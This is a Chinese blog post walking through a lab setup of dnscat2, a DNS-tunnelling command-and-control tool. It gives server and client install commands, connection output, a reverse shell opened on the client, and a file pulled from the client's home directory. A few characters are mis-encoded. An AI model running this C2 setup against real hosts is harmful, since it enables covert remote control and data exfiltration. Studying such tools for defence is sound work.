DNSCAT2試用

DNSCAT2試用

最近在研究DNS隧道技術,試用了一下DNSCAT2這個隧道軟件,記錄一下過程。

下載與安裝

DNSCAT2有客戶端和服務端之分??蛻舳擞杉僀編寫,服務端使用的ruby。為了安裝方便,我選擇了Ubuntu18.4LTS來搭建DNSCAT 服務端。

在操作系統(tǒng)安裝成功后,首先安裝一些依賴包(GCC, ruby):

sudo apt-get update
sudo apt-get install make
sudo apt-get install build-essential
sudo apt-get install ruby-dev

下載DNSCAT2的源代碼:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundler install

過程中可能需要安裝一些ruby庫。在我的搭建過程中,由于最開始安裝的是mini版的Ubuntu Server,默認沒有安裝GCC,而salsa20,sha3這些庫是需要編譯安裝的,因此一直沒有裝成功。后面按照提示安裝了makegcc之后,順利地把server安裝起來。

接著安裝文檔中的描述將DNSCat2 Server運行起來,

sudo ruby ./dnscat2.rb your.domain.name --secret=xxxx --security=open --no-cache

由于是在內網(wǎng)做實驗,我隨便指定了一個域名。此外,秘鑰需要記錄下來,后續(xù)DNSCat client在連接時會有用到。

在運行服務端時需要注意,本地的53端口會被占用,比如在Ubuntu18上,這個端口在回環(huán)地址127.0.0.53上被systemd-resolved占用了。默認情況下,server端地址是綁定在0.0.0.0,即本宿主機全部網(wǎng)絡接口上,會和systemd-resolved沖突。實際上DNSCat只需要綁定在對外通訊的IP上因此可以在啟動時指定IP:

sudo ruby ./dnscat2.rb --dns 'host=172.17.1.47,port=53,domain=a.com,domain=b.com' --secret=xxxx --security=open --no-cache

以上就是Server端的安裝工作。下面是Client端要做的事情,比Server端要簡單很多。

Client端是純C代碼,無依賴,直接編譯后即可運行。

cd dnscat2/client/
make
./dnscat --dns=server=172.17.1.47,port=53 --secret=xxxx

客戶端運行成功與服務端建立連接后會產(chǎn)生相關打?。?/p>

$ ./dnscat --dns server=172.17.1.47,port=53 --secret=xxxx
Creating DNS driver:
 domain = (null)
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 172.17.1.47

** Peer verified with pre-shared secret!

Session established!

使用

作為一款C&C工具,在Client端連接上了以后,可以通過Server端執(zhí)行一些命令對Client進行控制。

DNSCAT使用window這個概念來標識不同的client,在服務端使用windows命令可以列舉當前已連接上來的客戶端。

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
  1 :: command (ubuntu-test) [encrypted and verified] [*]

其中0是server端主控,1是我們剛才運行連接上來的客戶端。

dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (ubuntu-test) 1> 

使用session -i id,進入到某個連接上來的client的session中,我們使用help命令,看一下dnscat支持的功能:

command (ubuntu-test) 1> help

Here is a list of commands (use -h on any of them for additional help):
* clear
* delay
* download
* echo
* exec
* help
* listen
* ping
* quit
* set
* shell
* shutdown
* suspend
* tunnels
* unset
* upload
* window
* windows

使用shell命令創(chuàng)建一個反彈shell。這個反彈shell是創(chuàng)建了另外一個會話,我們需要使用ctrl + D退出當前會話,然后進入對應的反彈shell會話中:

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
  1 :: (not set) [cleartext] [*] [idle for 84 seconds]
  2 :: (not set) [cleartext] [*] [idle for 84 seconds]
  3 :: command (ubuntu-test) [encrypted and verified]
  4 :: sh (ubuntu-test) [encrypted and verified] [*]
dnscat2> session -i 4
New window created: 4
history_size (session) => 1000
Session 4 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (ubuntu-test) 4> ls
sh (ubuntu-test) 4> controller
dnscat
dnscat.c
dnscat.o
drivers
libs
Makefile
Makefile.win
tcpcat.c
tunnel_drivers
win32

接下來就可以在這里使用shell命令了。

此外dnscat2還提供了方便的上傳下載命令即:downloadupload。在使用時需要知道對應文件的位置。

command (ubuntu-test) 2> download /home/fred/2.txt
Attempting to download /home/fred/2.txt to 2.txt
command (ubuntu-test) 2> Wrote 28 bytes from /home/fred/2.txt to 2.txt!

下載下來的文件會位于當前server腳本運行目錄。

總結

本文總結了dnscat2的一些簡單的安裝和使用方法,僅供研究使用。

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

友情鏈接更多精彩內容